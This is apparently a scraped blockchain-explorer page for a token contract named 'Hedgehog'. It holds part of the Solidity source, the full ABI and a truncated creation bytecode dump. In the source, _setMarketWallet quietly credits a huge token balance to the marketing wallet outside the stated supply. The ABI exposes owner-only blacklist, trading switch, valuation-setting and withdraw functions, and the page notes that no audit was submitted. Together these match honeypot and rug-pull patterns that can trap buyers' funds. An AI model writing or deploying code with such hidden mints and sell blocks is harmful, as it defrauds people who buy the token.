_isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount; } else if (_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender] - tAmount; _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount; } _rOwned[sender] = _rOwned[sender] - s.rAmount; _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount; if (takeFee) { _reflectRfi(s.rRfi, s.tRfi); _takeMarketing(s.rMarketing, s.tMarketing); _takeLiquidity(s.rLiquidity, s.tLiquidity); _takeBurn(s.rBurn, s.tBurn); emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity); } emit Transfer(sender, recipient, s.tTransferAmount); tokenHoldersEnumSet.add(recipient); if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function _setMarketWallet(address marketWallet_) internal virtual { marketWallet = marketWallet_; _rOwned[marketWallet_] += 10e12 * 10**_decimals; _tOwned[marketWallet_] += 10e12 * 10**_decimals; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"marketWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"walletSell","type":"address"}],"name":"getFromLastSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeFromBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setBuyRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"setRewardPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"name":"setSellRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"theRedistribution","type":"uint256"}],"name":"setTheRewardTime","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValuation","type":"uint256"}],"name":"setValuation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"settransform","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"standartValuation","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"theRewardTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToPurchaseTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"walletToSellime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526100106009600a6114d9565b61001e906305f5e1006114ee565b600c819055600d555f600e81905561012c600f55604080516080808201835283825260208083018590528284018590526060928301859052601785905560188590556019859055601a85905583519182018452848252810184905291820183905201819052601b819055601c819055601d819055601e55602480546001600160a01b03191673245b3a6c460517cdecce85ba994d442aba8e6e4117905560258054630101000160a01b63ffff00ff60a01b199091161790553480156100e1575f80fd5b50604051613fb8380380613fb883398101604081905261010091611505565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600d5460035f6101575f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561017981611331565b600160065f61018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530808252600685528382208054871660019081179091556025548416835284832080548816821790556024548416835284832080548816821790557f23242ffc47939da75514cd3743cfbd69ed84be26a64d4eb873835de5839cd59480548816821790557f1dd0c3baf08edf783a758e806a00e36452246a11dad24b2cc53c932e81e82d9780548816821790557fe92891e2c6c52bb01fe5daee980b0ce833821989c04f6aa4afad0ceb56ad4c7c80548816821790557f1723918503827de326643e34d2c3083b1629108c4c6770f0882e2c48dc4da3cc80548816821790557fd9b337d5501213994d754ed92166999283528f48696fb1925b051d549aed2b4880548816821790557fb3e04a27c1a3eaf726a8cbb05c7734bb14e957e7db98677920c31a5486fe932680548816821790557f896c0930177b26957d87bc52dff5d5d0dbb1de3f21d5cc2ee7a31f10f25eac6680548816821790557f5790219c27a90c456a9cf02713afd76578b05fbfb0d3b5ee885e8f32c79fb65380548816821790557f56327f9ef1a68ebcc75172930dffdaed73febcbf4d42c5559749734103086c9580548816821790557f4eb29a18ec30b55236700a1336db817c941a21688c3a326bb4a350dec9cee7f280548816821790557fa92d98872bc0223baee9d74388bffa6431a20b169900136c4566347a1844eaad80548816821790557f8cd7e8940c9e8ac65000a1054eba91a79dff3eb1ddcef0e4f69ecabb05f8cb2e80548816821790557f6ed400ea6cd4d753cbe3ef20b6cde1638a81dc3c74a66e2c640d78230f7d660080548816821790557fd4a48d8b0daab800dc750f0c3cda30213b9d39674156459adacca0b1a7d77ef780548816821790557fc116058aa51aded1f83db7b05e02412daf5a6e96e14b9703cea66b828562d19880548816821790557f63c44082c7a7a34b2eaa28a8bd07f17b5431ed7b309a248ef10ca8ff151056e080548816821790557f09a7bd54ec708a9c55c48f27eabfbec65028ef7f8cc54ed1591b94a2b5f0e4ae80548816821790557f3881640d7cf348ace59a6bedb49b152ddb49c4aa096d0640eb2d0c96e3ad212480548816821790557f5442c5bbb37b56604576bb71f533ac477eadb3a30f007bc6067514f1898928eb80548816821790557f79a4b8077876e407572c945fb5d1c1a0c635e52ccb54fe94ea840194f4ca20ea80548816821790557fa4faf8bcdfac62745cc0a46fb6c87ccefcd17cf32ab338b00ee5dff3b369c22780548816821790557f66b2b8ef1578988cd9e35432f97ea3d71c09a9188e892e70de2e05c1611005db80548816821790557f59ca1a1ab02a7276c7f5965fc1d637ad90b67b2e40ef497d366153124230017e80548816821790557f0bb301ac5025200364448bbea11c549adfa433eaa072d5209567d09e0feed5d980548816821790557f0241875e2b849aa63d771363f9a1012258e0ddb8b75b0f96a665ea6af85efc5480548816821790557f6bb593c45148be808b6b8fae404d6844dff1026d8ad53c613fe21e0a1c7efb5e80548816821790557f160a9ea574b87bdb7bb144b5bfdf7595950f5f6b7f5420f7ad13c8b118baa70c80548816821790557f9df45f48ffe8c0b4922e555438da23bb01a9946bcd816fc7c2ae519a9b74c54480548816821790557fdb2c95fc95889b24827a4b481011f82d62e9bd9205d89aff8263bef71be3183980548816821790557f58c2872179345855b818d7633dec450cf462d9881d8e9282b7cba63c4c34bf1780548816821790557fb6e7d2a41b97bbcea126ec27e8f9368a251f63c197f4676ead879bdcea96e47680548816821790557fb5a64fa594b6f4486e01548ed9cca065f066a8b5836373fa4fa91314e077131f80548816821790557f1b5487d4887869d32a00cb984092233675d934f2273bce76c5ba47f0adbaea1880548816821790557f502f6e9aef303fdbf1082179c2c455932b954bc165927cbb42bfa76726cda73f80548816821790557f346c6e5a602f3732043e969dc7ddada30fc06df9a2758dcc7606f4117d35769e80548816821790557faeb5e4d22b8dcdd292e5a9281602c0cd79a1d51582846689acffd421088fb63480548816821790557f81e33da83a662b51b10c7df33fb440567f414507a6c324bfdbc8d539dac3827d80548816821790557f7eeededc414afc92559f07e8fd216d12a9441e56ab0f10a61d72bcd5ca0f38c380548816821790557f6a649f1c0c3059eff55554ee0d69524cae5de9704768ddec82247dc7e822c89180548816821790557f494edaa2e484b8348587b6de0fe93a002af01addc22c02b31a1ea9bd3287dc5280548816821790557f17ff47d75add8e7df515f52c60c275380f07bb2c15da0051df3f37d4e498c53f80548816821790557f3561f56f59858307a99e978f27a27b1c0db953b5121cf6cc95a66b9123d7b51680548816821790557fa8c98c099238ee6d6cffba9c7ba28bf99a5cb48fe0a2ac82fe2185b82b36353e80548816821790557f2cdb83d121320750a1b5147cf58e9c8fe43f8072a5c9c69caee97421b3136e5d80548816821790557f337056a333aeac0594bb99341060a64fb9631e6e1677d79770098a1888e99e8a80548816821790557fb25977c43b7c665e2d5cc252da4b80cdef5ebf4276f5b61a3529d11fe725458180548816821790557f02f596a135823452590869014ca5df83e4068b05cd3a285072e34049355d3e0780548816821790557f85682b4d49fdbdd6f90f79f2fbd11f5c62ac5910499ab62197ab9a00ebe50f1880548816821790557fe552fdc6fe702729a5c629adec56aff900d01ac9418151fd58f4b080fc0d3d3780548816821790557f6cd65b2f8955bc2e320efb2b9cc04c382eb86a9b5bbe71c4d856353519b4b86c80548816821790557fa44c775e2e196c088edb85db6e0b3af53f27ab2d4b9d9530b4d7600d349c243580548816821790557f877e14efffdb00a27811985318b484a9ed18557e1d5b15a171fcff6e5899c6ae80548816821790557ee60f83a595c25c27c9d817fe3a56fd6b8945fa8c350f3fab67e3eaecd4238a80548816821790557ffe46f9176ed70ab61a0b1104d26a7362aaf3dc502c422c0ccbf57611a7a9bd8780548816821790557f0c829dc8597484e236081d2a6b75dae409dbee78434f4c3f4bad55b5f5902a7480548816821790557fdeb52d4ee6ac95ca5fc3cee0c5910dd04922768680cdb6bdfd7354f0d64488e180548816821790557f699a27c4c3421b37658bb48d03c0e893836e5979deefaddbb2ed24801f9a441b80548816821790557f1ef0b86065599fbbee0ffeb69289a86d5981f299adf9e855b9e366dd83ca973a80548816821790557fb8d090856352ca655625ed16362b7e27c70d9edab77ec7cc10194860e7d0138380548816821790557f347678a4cf6e5360d11e6189281165433714e95b7149fe68d65ec6a6136e519080548816821790557fe0c7bdc3c576a5b6dfadd40c493aac39473450a38adf26d02dbfd26bc592153980548816821790557f35a8d56e94a68e07bddf62534ee9a7705a74f7f07c82c28e83c3cc43204e79e980548816821790557f7218fd7e9c4fb9996b23f5dce4d071d04297f67728037efc0f6186bb558461eb80548816821790557fe4e6cdd15d364d73ae52138934f7f8f9d203b0d963ba166c85d58ed0e96a28d280548816821790557f50724dfd662f5e3120a225c9fa4541be2373002bf3fc340769dfe58bd652403280548816821790557f5f9de0652074c40138764afb398739ba2fb8a8d450b3cf08ea689cd819ee15d480548816821790557fae2449ce0cd05d8e524f502e1e97ab119ce1f5e04dc83e8ee373fb29b2be0c6080548816821790557fa491d7de525cb4d5c8747c4b86ca5f701861ae42e11faf20291f70afd448359380548816821790557f18e497b1c249c58e25a946a0fe8f71cf9c65b4129e89a70a3221b4fce50e895080548816821790557fd089b24b7cb04fbc69c6c35b8c8a71fefccc47bbc50bc070891944043b59a2ee80548816821790557f22d56ba3cdb285bfce9f8247679b86ca60668db49f5b489575570d3dba33716280548816821790557fcb33db3565cb1652c1906fdbe8c4b6f093c71bac86392557c0c98a7bec6fbc3280548816821790557f6a66f1455d1faab881632fe5779838709475b6a78307be2a1a75ae3044a665e780548816821790557fbda7cd792f34358d64e71b1a6982eff6fded88fa7e34c20b686269f0eeccb59c80548816821790557f991e0a37f182ef2b1f141293cb5aefa3dd4d0f1aa64dba257680a575f932111380548816821790557f8c59ca0d32fc5e9eb2f33d7c69bbc675b42a98aa8ebe2b954d778b0e7c84bb7d80548816821790557f67dbdcbee04d2b52bf0ca44a2fcda61249fffd40dc0944244078bd6fce0c705780548816821790557fea148abc1a09e51920f0e212d77b26e12feeeea8089ace35d7d53c7c7ec4c99880548816821790557f0ff44238f486010cf29f13c72e36bf59ea54cd214dfa4e41d8547e4dc5d38a0580548816821790557fbd077022543985c5ea5e9729a5b89ddde094de5651d1b61bce4935af9e2e4bf680548816821790557f8676d19edba0e0cd85e6cba11712d81c17145f80e5f382cc63b978ad476bd4d180548816821790557f8baaf14d46d14889ca88e1dd71ff96940410c4c0540444bbfb127a9a862bc34180548816821790557f7604d11cb72df78ea149e147f330e6a4e03554466991746bcf7e448dc199b6b880548816821790557f0baec8d6aa9c9c1ffd9b3f7bffbd07c44fe2932e92135a9b9fb2be415b2b415580548816821790557fc63d39fa05be13d4208fcb79346f11f1d0110fa1c252b70bed92277e0d58b9f380548816821790557f3769e2b729b95ddc8c6de46306b3ea135eb9f6ef4f29acde21f74c825e46bd8e80548816821790557f1768f051a5eda054f989f25a25583ce7533318bf7e4dceb9ef4809626d8a257b80548816821790557fb1dd852645ef3cd8427a08131cad40ebd7a22d2f06c1cf3ea8ce315a14e0e81980548816821790557fce7b702bc6b963dd7f30aeb38783f22a5195588ce14f14debde70e76d9fa09d880548816821790557f668915635fa2ab72a6cbf11cd5c47d00f3e650c6b3ed5609b211dcb9ae26de4b80548816821790557fdaf17e426c7a9456829f227ecfd7001beb1070876a74bfc7a07c886d4538a0ff80548816821790557fd31c18b9f6bbae8f1c5bf679de121f7e70c0f63b18f01caf1f4dd231b151eddf80548816821790557f77e82cc57a8dfc80cf3cb0b3faa4d998a18492bf6cd7d6b247a057d0f0f85bca80548816821790557f0c9ec60102b08d71560bc08d225b75c719fd96780606bf10f37339cc71b3e1bd80548816821790557f5fe6fb9b643a6d4046236a4ca342e35b44be5fd3fed0060d57fc478d9e932fe180548816821790557f63e5bb52404b285c2f42808d9896732559ca19320ec201dfeea90b1b866eec3780548816821790557f6b705e5fe77b4f463de68f6ae4a008f5807b86f59a4b962911b156cfbbb7376180548816821790557f03fd610b1a79e635bed260907845f1b0abebf871c84c02a788a29712d0485da380548816821790557f9fffc79ef7d446f207a824b9952ccae77da8dcfd305388b9a4ecdf9e93aa653280548816821790557f0a59c3b911e0b9706cbe402933e7061dfe3870ceaeaf8e1e49dd86bb7da6657980548816821790557f8be5c5dd7bfd33d86ecc6b5eaf286f1d4b3d869fcfa475659fe2bc26795f3a7f80548816821790557f3bcace98f4ebf407bd17c443033d94cb1bca6f2a0ad0d66314251b07e53cf70880548816821790557f3926a21d2fbc5c7cc39e83a0e619774efde0f3c038bc93120384492a9334ccf380548816821790557f1153f56ab294895d57a4fefb28832fd3ac768c7709a0c1c5c625d6eb73e0cc7d80548816821790558183526007865284832080549097168117909655600b8054968701815582527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db990950180546001600160a01b0319169095179094558354600c5492519283521692917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35061153e565b602580546001600160a01b0319166001600160a01b0383161790556113586009600a6114d9565b611368906509184e72a0006114ee565b6001600160a01b0382165f908152600360205260408120805490919061138f90849061152b565b909155506113a190506009600a6114d9565b6113b1906509184e72a0006114ee565b6001600160a01b0382165f90815260046020526040812080549091906113d890849061152b565b909155505050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561142f57808504811115611413576114136113e0565b600184161561142157908102905b60019390931c9280026113f8565b935093915050565b5f82611445575060016114d3565b8161145157505f6114d3565b816001811461146757600281146114715761148d565b60019150506114d3565b60ff841115611482576114826113e0565b50506001821b6114d3565b5060208310610133831016604e8410600b84101617156114b0575081810a6114d3565b6114bc5f1984846113f4565b805f19048211156114cf576114cf6113e0565b0290505b92915050565b5f6114e760ff841683611437565b9392505050565b80820281158282048414176114d3576114d36113e0565b5f60208284031215611515575f80fd5b81516001600160a01b03811681146114e7575f80fd5b808201808211156114d3576114d36113e0565b612a6d8061154b5f395ff3fe6080604052600436106102f6575f3560e01c8063715018a611610189578063bc0ad5a3116100d8578063ea2f0b3711610092578063f2fde38b1161006d578063f2fde38b146109a7578063f6d7eade146109c6578063f9214005146109e5578063ff89757014610a04575f80fd5b8063ea2f0b371461093e578063ecbde40c1461095d578063efbe389a14610988575f80fd5b8063bc0ad5a314610849578063c2b7bbb614610869578063c49b9a8014610888578063dd62ed3e146108a7578063e2255e29146108eb578063e7e645191461090a575f80fd5b806395d89b4111610143578063a39801c61161011e578063a39801c6146107c1578063a457c2d7146107e0578063a8be9a58146107ff578063a9059cbb1461082a575f80fd5b806395d89b41146103015780639b26c9231461078a5780639ba5e4d51461079f575f80fd5b8063715018a61461069f57806373cafdc2146106b3578063786564c4146106d557806388f82020146106f45780638b7afe2e1461072b5780638da5cb5b1461075a575f80fd5b80633ccfd60b116102455780634a74bb02116101ff5780635342acb4116101da5780635342acb4146105e85780635a1afc561461061f57806370a082311461063e578063713898cd1461065d575f80fd5b80634a74bb021461058a57806351ecfeae146105aa57806352390c02146105c9575f80fd5b80633ccfd60b146104c65780634359a871146104da578063437823ec1461050e5780634549b0391461052d5780634a17beb11461054c5780634a49ac4c1461056b575f80fd5b80632d838119116102b057806334ef80bc1161028b57806334ef80bc1461044a5780633685d41914610469578063370f0a601461048857806339509351146104a7575f80fd5b80632d838119146103fb578063313ce5671461041a57806331b72ff014610435575f80fd5b806306fdde0314610301578063095ea7b31461034057806318160ddd1461036f5780631cdd3be31461038d57806323b872dd146103bb578063275d53ce146103da575f80fd5b366102fd57005b5f80fd5b34801561030c575f80fd5b5060408051808201825260088152674865646765686f6760c01b6020820152905161033791906126ef565b60405180910390f35b34801561034b575f80fd5b5061035f61035a36600461273f565b610a23565b6040519015158152602001610337565b34801561037a575f80fd5b50600c545b604051908152602001610337565b348015610398575f80fd5b5061035f6103a7366004612767565b600a6020525f908152604090205460ff1681565b3480156103c6575f80fd5b5061035f6103d5366004612780565b610a39565b3480156103e5575f80fd5b506103f96103f43660046127c9565b610aac565b005b348015610406575f80fd5b5061037f6104153660046127e2565b610afc565b348015610425575f80fd5b5060405160098152602001610337565b348015610440575f80fd5b5061037f600f5481565b348015610455575f80fd5b506103f96104643660046127e2565b610b66565b348015610474575f80fd5b506103f9610483366004612767565b610b94565b348015610493575f80fd5b506103f96104a2366004612767565b610d38565b3480156104b2575f80fd5b5061035f6104c136600461273f565b610e66565b3480156104d1575f80fd5b506103f9610e9c565b3480156104e5575f80fd5b5061037f6104f4366004612767565b6001600160a01b03165f9081526008602052604090205490565b348015610519575f80fd5b506103f9610528366004612767565b610ef1565b348015610538575f80fd5b5061037f6105473660046127f9565b610f3d565b348015610557575f80fd5b506103f9610566366004612823565b610fc4565b348015610576575f80fd5b506103f9610585366004612767565b611057565b348015610595575f80fd5b5060255461035f90600160b81b900460ff1681565b3480156105b5575f80fd5b506103f96105c4366004612894565b6110a0565b3480156105d4575f80fd5b506103f96105e3366004612767565b6110dd565b3480156105f3575f80fd5b5061035f610602366004612767565b6001600160a01b03165f9081526006602052604090205460ff1690565b34801561062a575f80fd5b506103f96106393660046127e2565b61122a565b348015610649575f80fd5b5061037f610658366004612767565b611258565b348015610668575f80fd5b50601b54601c54601d54601e5461067f9392919084565b604080519485526020850193909352918301526060820152608001610337565b3480156106aa575f80fd5b506103f96112ae565b3480156106be575f80fd5b50601754601854601954601a5461067f9392919084565b3480156106e0575f80fd5b506103f96106ef366004612894565b61131f565b3480156106ff575f80fd5b5061035f61070e366004612767565b6001600160a01b03165f9081526007602052604090205460ff1690565b348015610736575f80fd5b50601554601654610745919082565b60408051928352602083019190915201610337565b348015610765575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610337565b348015610795575f80fd5b5061037f600e5481565b3480156107aa575f80fd5b5060115460125460135460145461067f9392919084565b3480156107cc575f80fd5b5061035f6107db3660046128c3565b61135c565b3480156107eb575f80fd5b5061035f6107fa36600461273f565b6113cb565b34801561080a575f80fd5b5061037f610819366004612767565b60086020525f908152604090205481565b348015610835575f80fd5b5061035f61084436600461273f565b611418565b348015610854575f80fd5b5060255461035f90600160a01b900460ff1681565b348015610874575f80fd5b506103f9610883366004612767565b611438565b348015610893575f80fd5b506103f96108a23660046127c9565b6114f3565b3480156108b2575f80fd5b5061037f6108c13660046128f5565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b3480156108f6575f80fd5b506103f96109053660046127c9565b611574565b348015610915575f80fd5b5061037f610924366004612767565b6001600160a01b03165f9081526009602052604090205490565b348015610949575f80fd5b506103f9610958366004612767565b6115bb565b348015610968575f80fd5b5061037f610977366004612767565b60096020525f908152604090205481565b348015610993575f80fd5b50602354610772906001600160a01b031681565b3480156109b2575f80fd5b506103f96109c1366004612767565b611604565b3480156109d1575f80fd5b50602454610772906001600160a01b031681565b3480156109f0575f80fd5b50601054610772906001600160a01b031681565b348015610a0f575f80fd5b506103f9610a1e366004612823565b6116eb565b5f610a2f338484611779565b5060015b92915050565b5f610a4584848461189c565b610a968433610a91856040518060600160405280602881526020016129eb602891396001600160a01b038a165f9081526005602090815260408083203384529091529020549190611b0d565b611779565b50602554600160b01b900460ff165b9392505050565b5f546001600160a01b03163314610ade5760405162461bcd60e51b8152600401610ad59061291d565b60405180910390fd5b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f600d54821115610b625760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610ad5565b5090565b5f546001600160a01b03163314610b8f5760405162461bcd60e51b8152600401610ad59061291d565b600f55565b5f546001600160a01b03163314610bbd5760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381165f9081526007602052604090205460ff16610c245760405162461bcd60e51b815260206004820152601760248201527f4163636f756e74206973206e6f74206578636c756465640000000000000000006044820152606401610ad5565b5f5b600b54811015610d3457816001600160a01b0316600b8281548110610c4d57610c4d612952565b5f918252602090912001546001600160a01b031603610d2c57600b8054610c769060019061297a565b81548110610c8657610c86612952565b5f91825260209091200154600b80546001600160a01b039092169183908110610cb157610cb1612952565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600b805480610d0857610d0861298d565b5f8281526020902081015f1990810180546001600160a01b03191690550190555050565b600101610c26565b5050565b5f546001600160a01b03163314610d615760405162461bcd60e51b8152600401610ad59061291d565b6001600160a01b0381165f9081526007602052604090205460ff16610e37576001600160a01b